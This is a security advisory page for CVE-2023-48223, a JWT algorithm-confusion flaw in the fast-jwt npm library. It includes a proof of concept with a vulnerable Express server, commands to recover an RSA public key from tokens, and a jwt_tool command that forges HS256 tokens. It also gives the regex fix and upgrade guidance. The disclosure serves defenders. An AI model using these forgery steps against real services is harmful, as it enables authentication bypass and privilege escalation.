CVE-2023-48223

The fast-jwt library does not properly prevent JWT algorithm confusion for all public key types.

Details

The 'publicKeyPemMatcher' in 'fast-jwt/src/crypto.js' does not properly match all common PEM formats for public keys. To exploit this vulnerability, an attacker needs to craft a malicious JWT token containing the HS256 algorithm, signed with the public RSA key of the victim application. This attack will only work if the victim application utilizes a public key containing the BEGIN RSA PUBLIC KEY header.

PoC

Take a server running the following code:

const express = require('express');
const { createSigner, createVerifier } = require('fast-jwt')
const fs = require('fs');
const path = require('path');

const app = express();
const port = 3000;

// Load the keys from the file
const publicKeyPath = path.join(__dirname, 'public_key.pem');
const publicKey = fs.readFileSync(publicKeyPath, 'utf8');
const privateKeyPath = path.join(__dirname, 'key');
const privateKey = fs.readFileSync(privateKeyPath, 'utf8');

app.use(express.json());

// Endpoint to generate a JWT token with admin: False
app.get('/generateToken', async (req, res) => {
  const payload = { admin: false, name: req.query.name };

  const signSync = createSigner({ algorithm: 'RS256', key: privateKey });
  const token = signSync(payload);
  
  res.json({ token });
});

// Middleware to verify the JWT token
function verifyToken(req, res, next) {
  const token = req.query.token;

  const verifySync = createVerifier({ key: publicKey });
  const payload = verifySync(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are the admin or not
app.get('/checkAdmin', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Assume the server generated their keys like follows:

ssh-keygen -t rsa -b 2048 -m PEM
ssh-keygen -f key.pub -e -m PEM > public_key.pem

Public key recovery
First, an attacker needs to recover the public key from the server in any way possible. It is possible to extract this from just two JWT tokens as shown below.
Grab two different JWT tokens and utilize the following tool: https://github.com/silentsignal/rsa_sign2n/blob/release/standalone/jwt_forgery.py

python3 jwt_forgery.py token1 token2

The tool will generate 4 different public keys, all in different formats. Try the following for all 4 formats.

Algorithm confusion
Change the JWT to the HS256 algorithm and modify any of the contents to your liking at https://jwt.io/.
Copy the resulting JWT token and use with the following tool: https://github.com/ticarpi/jwt_tool

python /opt/jwt_tool/jwt_tool.py --exploit k -pk public_key token

You will now get a resulting JWT token that is validly signed.

Applications using the RS256 algorithm, a public key with a BEGIN RSA PUBLIC KEY header, and calling the verify function without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads which will be accepted by the verifier.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2023-48223 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.3.2); upgrading removes the vulnerable code path.

Kodem intelligence

Change https://github.com/nearform/fast-jwt/blob/master/src/crypto.js#L29

const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'

to be regex:

const publicKeyPemMatcher = /^-----BEGIN( RSA)? PUBLIC KEY-----/

1. What is CVE-2023-48223? CVE-2023-48223 is a medium-severity improper input validation vulnerability in fast-jwt (npm), affecting versions < 3.3.2. It is fixed in 3.3.2. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is CVE-2023-48223? CVE-2023-48223 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of fast-jwt are affected by CVE-2023-48223? fast-jwt (npm) versions < 3.3.2 is affected.
4. Is there a fix for CVE-2023-48223? Yes. CVE-2023-48223 is fixed in 3.3.2. Upgrade to this version or later.
5. Is CVE-2023-48223 exploitable, and should I be worried? Whether CVE-2023-48223 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-48223 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-48223? Upgrade fast-jwt to 3.3.2 or later.